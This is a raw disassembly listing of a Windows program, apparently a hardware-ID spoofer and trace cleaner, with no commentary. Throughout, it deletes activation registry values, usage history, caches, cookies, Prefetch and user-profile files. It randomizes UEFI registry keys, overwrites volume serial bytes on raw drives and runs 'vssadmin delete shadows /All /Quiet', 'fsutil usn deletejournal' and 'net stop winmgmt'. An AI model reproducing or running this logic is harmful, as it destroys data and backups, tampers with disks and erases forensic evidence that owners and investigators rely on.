lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersionDiagnosticsDiagTrackSevilleEventlogManager
call fcn.140005eb0
lea r8, str.ProductActivationTime
mov rcx, 0xffffffff80000002
lea rdx, str.SOFTWAREMicrosoftWindows_NTCurrentVersionSoftwareProtectionPlatformActivation
call fcn.140005eb0
lea r8, str.BackupProductKeyDefault
mov rcx, 0xffffffff80000002
lea rdx, str.SOFTWAREMicrosoftWindows_NTCurrentVersionSoftwareProtectionPlatform
call qword [sym.imp.SHLWAPI.dll_SHDeleteValueW]
cmp eax, 2
je 0x140004b3d
xor edx, edx
mov dword [rsp + 0x40], 0x208
lea rcx, [0x14002dcf0]
mov r8d, 0x208
test eax, eax
jne 0x140004aee
call fcn.14001cdb0
lea rax, [rsp + 0x40]
mov r9d, 0x208
lea r8, [0x14002dcf0]
mov qword [rsp + 0x20], rax
mov edx, 3
mov rcx, 0xffffffff80000002
call qword [0x14002df10]
lea r9, str.BackupProductKeyDefault
mov dword [rsp + 0x28], 0xc4
lea r8, str.SOFTWAREMicrosoftWindows_NTCurrentVersionSoftwareProtectionPlatform
mov dword [rsp + 0x20], 0xc0
lea rdx, [0x14002dcf6]
lea rcx, str._ws_ws_ws_n_c_c_deleted_n_n
call fcn.140001010
jmp 0x140004b3d
call fcn.14001cdb0
lea rax, [rsp + 0x40]
mov r9d, 0x208
lea r8, [0x14002dcf0]
mov qword [rsp + 0x20], rax
mov edx, 3
mov rcx, 0xffffffff80000002
call qword [0x14002df10]
lea r9, str.BackupProductKeyDefault
lea r8, str.SOFTWAREMicrosoftWindows_NTCurrentVersionSoftwareProtectionPlatform
lea rdx, [0x14002dcf6]
lea rcx, str.Failed_to_delete_value:__ws_ws_ws_n_n
call fcn.140001010
lea r8, str.actionlist
mov rcx, 0xffffffff80000002
lea rdx, str.SOFTWAREMicrosoftWindows_NTCurrentVersionSoftwareProtectionPlatform
call qword [sym.imp.SHLWAPI.dll_SHDeleteValueW]
cmp eax, 2
je 0x140004c2c
xor edx, edx
mov dword [rsp + 0x40], 0x208
lea rcx, [0x14002dcf0]
mov r8d, 0x208
test eax, eax
jne 0x140004bdd
call fcn.14001cdb0
lea rax, [rsp + 0x40]
mov r9d, 0x208
lea r8, [0x14002dcf0]
mov qword [rsp + 0x20], rax
mov edx, 3
mov rcx, 0xffffffff80000002
call qword [0x14002df10]
lea r9, str.actionlist
mov dword [rsp + 0x28], 0xc4
lea r8, str.SOFTWAREMicrosoftWindows_NTCurrentVersionSoftwareProtectionPlatform
mov dword [rsp + 0x20], 0xc0
lea rdx, [0x14002dcf6]
lea rcx, str._ws_ws_ws_n_c_c_deleted_n_n
call fcn.140001010
jmp 0x140004c2c
call fcn.14001cdb0
lea rax, [rsp + 0x40]
mov r9d, 0x208
lea r8, [0x14002dcf0]
mov qword [rsp + 0x20], rax
mov edx, 3
mov rcx, 0xffffffff80000002
call qword [0x14002df10]
lea r9, str.actionlist
lea r8, str.SOFTWAREMicrosoftWindows_NTCurrentVersionSoftwareProtectionPlatform
lea rdx, [0x14002dcf6]
lea rcx, str.Failed_to_delete_value:__ws_ws_ws_n_n
call fcn.140001010
lea r8, str.ServiceSessionId
mov rcx, 0xffffffff80000002
lea rdx, str.SOFTWAREMicrosoftWindows_NTCurrentVersionSoftwareProtectionPlatform
call qword [sym.imp.SHLWAPI.dll_SHDeleteValueW]
cmp eax, 2
je 0x140004d1b
xor edx, edx
mov dword [rsp + 0x40], 0x208
lea rcx, [0x14002dcf0]
mov r8d, 0x208
test eax, eax
jne 0x140004ccc
call fcn.14001cdb0
lea rax, [rsp + 0x40]
mov r9d, 0x208
lea r8, [0x14002dcf0]
mov qword [rsp + 0x20], rax
mov edx, 3
mov rcx, 0xffffffff80000002
call qword [0x14002df10]
lea r9, str.ServiceSessionId
mov dword [rsp + 0x28], 0xc4
lea r8, str.SOFTWAREMicrosoftWindows_NTCurrentVersionSoftwareProtectionPlatform
mov dword [rsp + 0x20], 0xc0
lea rdx, [0x14002dcf6]
lea rcx, str._ws_ws_ws_n_c_c_deleted_n_n
call fcn.140001010
jmp 0x140004d1b
call fcn.14001cdb0
lea rax, [rsp + 0x40]
mov r9d, 0x208
lea r8, [0x14002dcf0]
mov qword [rsp + 0x20], rax
mov edx, 3
mov rcx, 0xffffffff80000002
call qword [0x14002df10]
lea r9, str.ServiceSessionId
lea r8, str.SOFTWAREMicrosoftWindows_NTCurrentVersionSoftwareProtectionPlatform
lea rdx, [0x14002dcf6]
lea rcx, str.Failed_to_delete_value:__ws_ws_ws_n_n
call fcn.140001010
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionExplorerUserAssist
mov rcx, 0xffffffff80000001
call fcn.1400064c0
lea rdx, str.SoftwareHex_RaysIDAHistory
mov rcx, 0xffffffff80000001
call fcn.1400064c0
lea rdx, str.SoftwareHex_RaysIDAHistory64
mov rcx, 0xffffffff80000001
call fcn.1400064c0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x48], r13
mov r9d, 0xf003f
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, str.HARDWAREUEFIESRT
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
xor edx, edx
test eax, eax
je 0x140004de8
mov r8d, 0x208
mov dword [rsp + 0x40], 0x208
lea rcx, [0x14002dcf0]
call fcn.14001cdb0
lea rax, [rsp + 0x40]
mov r9d, 0x208
lea r8, [0x14002dcf0]
mov qword [rsp + 0x20], rax
mov edx, 3
mov rcx, 0xffffffff80000002
call qword [0x14002df10]
lea r8, str.HARDWAREUEFIESRT
lea rdx, [0x14002dcf6]
lea rcx, str.Failed_to_open_key:__ws_ws_n_n
call fcn.140001010
jmp 0x140004ff2
mov r15, qword [rsp + 0x48]
lea rcx, [rbp + 0x12a0]
mov r8d, 0x205f8
call fcn.14001cdb0
xor edx, edx
lea rcx, [rbp + 0x650]
mov r8d, 0x208
mov ebx, r13d
call fcn.14001cdb0
mov qword [rsp + 0x38], r13
lea r9, [rsp + 0x58]
mov qword [rsp + 0x30], r13
lea r8, [rbp + 0x650]
mov qword [rsp + 0x28], r13
xor edx, edx
mov rcx, r15
mov qword [rsp + 0x20], r13
mov edi, r13d
mov dword [rsp + 0x58], 0x208
call qword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
jne 0x140004eca
mov eax, ebx
lea r8, [rbp + 0x12a0]
imul rcx, rax, 0x208
inc ebx
lea rax, [rbp + 0x650]
add r8, rcx
lea rdx, [rbp + 0x650]
sub r8, rax
nop word [rax + rax]
movzx eax, word [rdx]
mov word [rdx + r8], ax
lea rdx, [rdx + 2]
test ax, ax
jne 0x140004e80
mov qword [rsp + 0x38], r13
lea r9, [rsp + 0x58]
mov qword [rsp + 0x30], r13
lea r8, [rbp + 0x650]
inc edi
mov qword [rsp + 0x28], r13
mov edx, edi
mov qword [rsp + 0x20], r13
mov rcx, r15
mov dword [rsp + 0x58], 0x208
call qword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
je 0x140004e50
test ebx, ebx
je 0x140004fe9
lea rsi, [rbp + 0x440]
mov r12d, ebx
lea rax, [rbp + 0x12a0]
sub rsi, rax
lea r14, [rbp + 0x12a0]
nop dword [rax]
xor edx, edx
lea rcx, [rbp + 0x440]
mov r8d, 0x208
call fcn.14001cdb0
mov rcx, r14
nop word [rax + rax]
movzx eax, word [rcx]
mov word [rcx + rsi], ax
lea rcx, [rcx + 2]
test ax, ax
jne 0x140004f10
mov ebx, r13d
lea rcx, [rbp + 0x440]
mov rax, 0xffffffffffffffff
inc rax
cmp word [rcx + rax*2], 0
jne 0x140004f31
test rax, rax
je 0x140004fbf
mov rcx, r13
nop dword [rax]
nop word [rax + rax]
lea rdi, [rbp + 0x440]
mov edx, 0x80
lea rdi, [rdi + rcx*2]
movzx ecx, word [rdi]
call fcn.14000d574
test eax, eax
je 0x140004f99
call fcn.14000a310
cdqe
lea r8, [0x14002cab0]
mov rcx, 0xffffffffffffffff
inc rcx
cmp word [r8 + rcx*2], 0
jne 0x140004f81
xor edx, edx
div rcx
movzx eax, word [r8 + rdx*2]
mov word [rdi], ax
inc ebx
lea rdx, [rbp + 0x440]
mov ecx, ebx
mov rax, 0xffffffffffffffff
nop dword [rax + rax]
inc rax
cmp word [rdx + rax*2], 0
jne 0x140004fb0
cmp rcx, rax
jb 0x140004f50
lea r8, [rbp + 0x440]
mov rdx, r14
mov rcx, r15
call fcn.1400062a0
sub rsi, 0x208
add r14, 0x208
sub r12, 1
jne 0x140004ef0
mov rcx, r15
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor edx, edx
lea rcx, [rbp + 0x230]
mov r8d, 0x208
call fcn.14001cdb0
xor edx, edx
lea rcx, [rbp + 0xe80]
mov r8d, 0x208
call fcn.14001cdb0
xor edx, edx
lea rcx, [rbp + 0x1090]
mov r8d, 0x208
call fcn.14001cdb0
xor edx, edx
lea rcx, [rbp + 0xb70]
mov r8d, 0x208
call fcn.14001cdb0
lea rdx, [rbp + 0xe80]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
lea rax, [rbp + 0x1090]
mov r9d, 1
xor r8d, r8d
mov qword [rsp + 0x20], rax
mov edx, 0x1a
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
lea rax, [rbp + 0xb70]
mov r9d, 1
xor r8d, r8d
mov qword [rsp + 0x20], rax
mov edx, 0x1c
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
lea r8, [rbp + 0xe80]
lea rdx, [0x140027f98]
lea rcx, [rbp + 0x230]
call qword [sym.imp.USER32.dll_wsprintfW]
xor edx, edx
lea rcx, [rbp + 0x12a0]
mov r8d, 0x250
call fcn.14001cdb0
lea rdx, [rbp + 0x12a0]
lea rcx, [rbp + 0x230]
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov rbx, rax
nop
movzx edx, word [rbp + 0x12cc]
movzx ecx, word [rbp + 0x12ce]
cmp dx, 0x2e
jne 0x14000510d
test cx, cx
je 0x14000513b
cmp dx, dx
jne 0x14000510d
cmp cx, dx
jne 0x14000510d
cmp word [rbp + 0x12d0], 0
je 0x14000513b
lea r9, [rbp + 0x12cc]
lea r8, [rbp + 0xe80]
lea rdx, [0x140027fa8]
lea rcx, [rbp + 0x230]
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [rbp + 0x230]
call fcn.1400066c0
lea rdx, [rbp + 0x12a0]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x1400050e0
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindClose]
lea r8, [rbp + 0xb70]
lea rdx, str._wsD3DSCache
lea rcx, [rbp + 0x230]
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [rbp + 0x230]
call fcn.1400066c0
lea r8, [rbp + 0xb70]
lea rdx, str._wsNVIDIA_CorporationGfeSDK
lea rcx, [rbp + 0x230]
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [rbp + 0x230]
call fcn.1400066c0
lea r8, [rbp + 0xb70]
lea rdx, str._wsMicrosoftFeeds
lea rcx, [rbp + 0x230]
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [rbp + 0x230]
call fcn.1400066c0
lea r8, [rbp + 0xb70]
lea rdx, str._wsMicrosoftFeeds_Cache
lea rcx, [rbp + 0x230]
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [rbp + 0x230]
call fcn.1400066c0
lea r8, [rbp + 0xb70]
lea rdx, str._wsMicrosoftWindowsINetCache
lea rcx, [rbp + 0x230]
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [rbp + 0x230]
call fcn.1400066c0
lea r8, [rbp + 0xb70]
lea rdx, str._wsMicrosoftWindowsINetCookies
lea rcx, [rbp + 0x230]
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [rbp + 0x230]
call fcn.1400066c0
lea r8, [rbp + 0xb70]
lea rdx, str._wsMicrosoftWindowsWebCache
lea rcx, [rbp + 0x230]
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [rbp + 0x230]
call fcn.1400066c0
lea r8, [rbp + 0xb70]
lea rdx, str._wsMicrosoftXboxLiveAuthStateCache.dat
lea rcx, [rbp + 0x230]
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [rbp + 0x230]
call fcn.1400066c0
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov r15d, eax
mov esi, 0x43
test eax, eax
je 0x1400058df
lea r12, [0x14002ca80]
nop dword [rax]
test r15b, 1
je 0x1400058d6
mov edx, esi
lea rcx, str._n___DRIVE:__c____n_n
call fcn.140001010
mov r8d, esi
lea rdx, str.._c:
lea rcx, [rbp + 0x230]
call qword [sym.imp.USER32.dll_wsprintfW]
mov qword [rsp + 0x30], r13
lea rcx, [rbp + 0x230]
mov dword [rsp + 0x28], 0x80
xor r9d, r9d
mov edx, 0xc0000000
mov dword [rsp + 0x20], 3
mov r8d, 3
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov r14, rax
cmp rax, 0xffffffffffffffff
je 0x140005405
xor edx, edx
lea rcx, [rbp + 0x440]
mov r8d, 0x200
call fcn.14001cdb0
lea r9, [rbp - 0x78]
mov dword [rbp - 0x78], r13d
mov r8d, 0x200
mov qword [rsp + 0x20], r13
lea rdx, [rbp + 0x440]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1400053fc
cmp dword [rbp - 0x78], 0x200
jne 0x1400053fc
mov ebx, r13d
mov rdi, r12
nop
mov rdx, qword [rdi]
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp byte [rdx + r8], 0
jne 0x140005380
mov eax, dword [rdi + 8]
lea rcx, [rbp + 0x440]
add rcx, rax
call fcn.14001d7f0
test eax, eax
je 0x1400053ad
inc ebx
add rdi, 0x10
cmp ebx, 3
jb 0x140005370
jmp 0x1400053fc
call fcn.14000a310
mov ebx, eax
shl ebx, 0x10
call fcn.14000a310
mov ecx, dword [rdi + 0xc]
add eax, ebx
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov dword [rbp + rcx + 0x440], eax
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp eax, 0xffffffff
je 0x1400053fc
xor r9d, r9d
mov qword [rsp + 0x20], r13
mov r8d, 0x200
lea rdx, [rbp + 0x440]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r8d, esi
lea rdx, str._c:WindowsSystem32_restoreMachineGuid.txt
lea rcx, [rbp + 0x230]
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [rbp + 0x230]
call fcn.1400066c0
mov r8d, esi
lea rdx, str._c:UsersPublicLibrariescollection.dat
lea rcx, [rbp + 0x230]
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [rbp + 0x230]
call fcn.1400066c0
mov r8d, esi
lea rdx, str._c:System_Volume_InformationIndexerVolumeGuid
lea rcx, [rbp + 0x230]
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [rbp + 0x230]
call fcn.1400066c0
mov r8d, esi
lea rdx, str._c:System_Volume_InformationWPSettings.dat
lea rcx, [rbp + 0x230]
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [rbp + 0x230]
call fcn.1400066c0
mov r8d, esi
lea rdx, str._c:System_Volume_Information_tracking.log
lea rcx, [rbp + 0x230]
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [rbp + 0x230]
call fcn.1400066c0
mov r8d, esi
lea rdx, str._c:ProgramDataMicrosoftWindowsWER
lea rcx, [rbp + 0x230]
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [rbp + 0x230]
call fcn.1400066c0
mov r8d, esi
lea rdx, str._c:UsersPublicShared_Files
lea rcx, [rbp + 0x230]
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [rbp + 0x230]
call fcn.1400066c0
mov r8d, esi
lea rdx, str._c:WindowsINF_setupapi.dev.log
lea rcx, [rbp + 0x230]
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [rbp + 0x230]
call fcn.1400066c0
mov r8d, esi
lea rdx, str._c:WindowsINF_setupapi.setup.log
lea rcx, [rbp + 0x230]
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [rbp + 0x230]
call fcn.1400066c0
mov r8d, esi
lea rdx, str._c:UsersPublicLibraries
lea rcx, [rbp + 0x230]
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [rbp + 0x230]
call fcn.1400066c0
mov r8d, esi
lea rdx, str._c:MSOCache
lea rcx, [rbp + 0x230]
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [rbp + 0x230]
call fcn.1400066c0
mov r8d, esi
lea rdx, str._c:ProgramData_ntuser.pol
lea rcx, [rbp + 0x230]
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [rbp + 0x230]
call fcn.1400066c0
mov r8d, esi
lea rdx, str._c:UsersDefaultNTUSER.DAT
lea rcx, [rbp + 0x230]
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [rbp + 0x230]
call fcn.1400066c0
mov r8d, esi
lea rdx, str._c:Recovery_ntuser.sys
lea rcx, [rbp + 0x230]
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [rbp + 0x230]
call fcn.1400066c0
mov r8d, esi
lea rdx, str._c:desktop.ini
lea rcx, [rbp + 0x230]
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [rbp + 0x230]
call fcn.1400066c0
mov r8d, esi
lea rdx, str._c:WindowsPrefetch
lea rcx, [rbp + 0x230]
call qword [sym.imp.USER32.dll_wsprintfW]
xor edx, edx
lea rcx, [rbp + 0x12a0]
mov r8d, 0x250
call fcn.14001cdb0
lea rdx, [rbp + 0x12a0]
lea rcx, [rbp + 0x230]
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov rbx, rax
nop dword [rax]
nop dword [rax + rax]
movzx edx, word [rbp + 0x12cc]
movzx ecx, word [rbp + 0x12ce]
cmp dx, 0x2e
jne 0x14000568d
test cx, cx
je 0x1400056b7
cmp dx, dx
jne 0x14000568d
cmp cx, dx
jne 0x14000568d
cmp word [rbp + 0x12d0], 0
je 0x1400056b7
lea r9, [rbp + 0x12cc]
mov r8d, esi
lea rdx, str._c:WindowsPrefetch_ws
lea rcx, [rbp + 0x230]
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [rbp + 0x230]
call fcn.1400066c0
lea rdx, [rbp + 0x12a0]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x140005660
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindClose]
mov r8d, esi
lea rdx, [0x140028660]
lea rcx, [rbp + 0x230]
call qword [sym.imp.USER32.dll_wsprintfW]
xor edx, edx
lea rcx, [rbp - 0x40]
mov r8d, 0x250
call fcn.14001cdb0
lea rdx, [rbp - 0x40]
lea rcx, [rbp + 0x230]
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov rdi, rax
mov rdx, qword [rbp - 0x14]
movzx ecx, word [rbp - 0x12]
cmp dx, 0x2e
jne 0x14000573c
test cx, cx
je 0x14000585d
cmp dx, dx
jne 0x14000573c
cmp cx, dx
jne 0x14000573c
cmp word [rbp - 0x10], 0
je 0x14000585d
test byte [rbp - 0x40], 0x10
je 0x14000585d
xor edx, edx
lea rcx, [rbp + 0x650]
mov r8d, 0x208
call fcn.14001cdb0
mov rcx, r13
nop dword [rax]
movzx eax, word [rbp + rcx - 0x14]
mov word [rbp + rcx + 0x650], ax
lea rcx, [rcx + 2]
test ax, ax
jne 0x140005760
lea r9, [rbp + 0x650]
mov r8d, esi
lea rdx, str._c:Users_ws
lea rcx, [rbp + 0x230]
call qword [sym.imp.USER32.dll_wsprintfW]
xor edx, edx
lea rcx, [rbp + 0x12a0]
mov r8d, 0x250
call fcn.14001cdb0
lea rdx, [rbp + 0x12a0]
lea rcx, [rbp + 0x230]
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov rbx, rax
nop
movzx edx, word [rbp + 0x12cc]
movzx ecx, word [rbp + 0x12ce]
cmp dx, 0x2e
jne 0x1400057ed
test cx, cx
je 0x14000583c
cmp dx, dx
jne 0x1400057ed
cmp cx, dx
jne 0x1400057ed
cmp word [rbp + 0x12d0], 0
je 0x14000583c
lea rdx, str.ntuser
lea rcx, [rbp + 0x12cc]
call qword [sym.imp.SHLWAPI.dll_StrStrW]
test rax, rax
je 0x14000583c
lea rax, [rbp + 0x12cc]
mov r8d, esi
lea r9, [rbp + 0x650]
mov qword [rsp + 0x20], rax
lea rdx, str._c:Users_ws_ws
lea rcx, [rbp + 0x230]
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [rbp + 0x230]
call fcn.1400066c0
lea rdx, [rbp + 0x12a0]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x1400057c0
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindClose]
lea rdx, [rbp - 0x40]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x140005710
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FindClose]
mov r8d, esi
lea rdx, str._c:Users
lea rcx, [rbp + 0x230]
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [rbp + 0x230]
call fcn.140006a00
xor edx, edx
lea rcx, [rbp + 0x960]
mov r8d, 0x104
call fcn.14001cdb0
mov r8d, esi
lea rdx, str.fsutil_usn_deletejournal__d__c:
lea rcx, [rbp + 0x960]
call fcn.140001070
lea rcx, [rbp + 0x960]
call fcn.14000d42c
inc esi
shr r15d, 1
jne 0x1400052b0
lea rcx, str.vssadmin_delete_shadows__All__Quiet
call fcn.14000d42c
xor edx, edx
mov ecx, 2
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov r15, qword [rsp + 0x219b0]
mov rbx, rax
mov r14, qword [rsp + 0x219b8]
mov r12, qword [rsp + 0x219c0]
mov rsi, qword [rsp + 0x219e8]
test rax, rax
je 0x1400059d3
xor edx, edx
lea rcx, [rbp + 0x12a4]
mov r8d, 0x234
call fcn.14001cdb0
lea rdx, [rbp + 0x12a0]
mov dword [rbp + 0x12a0], 0x238
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x1400059ca
nop word [rax + rax]
lea rdx, str.WmiPrvSE.exe
lea rcx, [rbp + 0x12cc]
call fcn.14000a5d8
test eax, eax
je 0x14000598d
lea rdx, [rbp + 0x12a0]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140005960
jmp 0x1400059ca
mov r8d, dword [rbp + 0x12a8]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x1400059ca
lea rcx, str.Killed_Winmgmt_n
call fcn.140001010
xor edx, edx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, str.net_stop_winmgmt__Y
call fcn.14000d42c
xor eax, eax
mov rdi, qword [rsp + 0x219f0]
mov rbx, qword [rsp + 0x219e0]
mov rcx, qword [rbp + 0x218a0]
xor rcx, rsp
call fcn.140006b70
add rsp, 0x219c8
pop r13
pop rbp
ret